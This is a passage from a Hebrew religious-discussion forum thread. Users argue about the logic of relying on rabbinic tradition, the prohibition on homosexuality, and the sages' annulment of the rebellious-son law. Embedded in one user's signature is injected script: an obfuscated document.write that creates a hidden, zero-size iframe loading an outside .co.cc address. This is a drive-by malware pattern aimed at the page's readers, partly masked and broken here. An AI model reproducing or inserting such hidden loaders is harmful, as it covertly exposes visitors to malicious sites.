אתה הולך לדוגמאות .שוב אתה נטפל לעניין צדדי ולא מהותי.
 הנקודה היא לא הדוגמאות המקריות שבחרתי אלא חוסר ההגיון שקיים במעבר מהתגלות אלוהית שאין לערער אחריה לתורה אנושית שנכתבה במשך הדורות על ידי  בני אדם ,בשר ודם,עם נגיעות ועם חולשות ועם גחמות. איך אפשר לסמוך על בני אדם ?


והנה במאתיים השנים האחרונות מי שנבחרו כגדוילים לא משנים כלום  כי הם מפחדים.  וכך הגיעה סופה של המסורת  הלא הגיונית הזאת שהייתה לא הגיונית מההתחלה. 




_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");











תוקן על ידי אפריםבן ב- 04/08/2018 22:32:38




דדווח על תוכן פוגעני

מחובר
נשלח ב-4/8/2018 22:24 לינק ישיר 

הקישור :      :http://woland.ph.biu.ac.il/?page_id=146


להקיש על :מקראה לחרדיות בת זמננו

תוקן על ידי אפריםבן ב- 04/08/2018 22:28:19




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 08:43 לינק ישיר 
תלמידטועה

אפרים
ת"ט לא טען מה ששנת במקלדתו.
הטענה היא שהאלוקים ידע כבר אז את המחקרים אודות נטיות מיניות ובכל זאת אסר זאת קטגורית.
[אם תאמר שמכיון שפרשנות התורה גמישה לפי מושגי הדור הוא חיכה על שנתפתח ונפרש כך תישאל השאלה מדוע התעלל אלפי שנים בהומואים  עד עתה. אולי מאותם שיקולים האיסור נשאר?]

מימוני
נכון שבלה"ר יש נזק לאחרים, אז טול כל מצווה המנוגדת לרצונות ואינה פוגעת באחרים (עריות, פצוע דכא האסור לבוא בקהל, מאכלות אסורות ועוד)

תוקן על ידי תלמידטועה ב- 05/08/2018 08:44:58




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 09:12 לינק ישיר 

ת"ט,אלוקים גם ציווה בתורתו להרוג בן סורר ומורה ואת זה חז"ל ביטלו כי זה כבר לא התאים לתקופתם.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > שיקולים אידולגיים ומחשבתיים בפסיקת ההלכה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.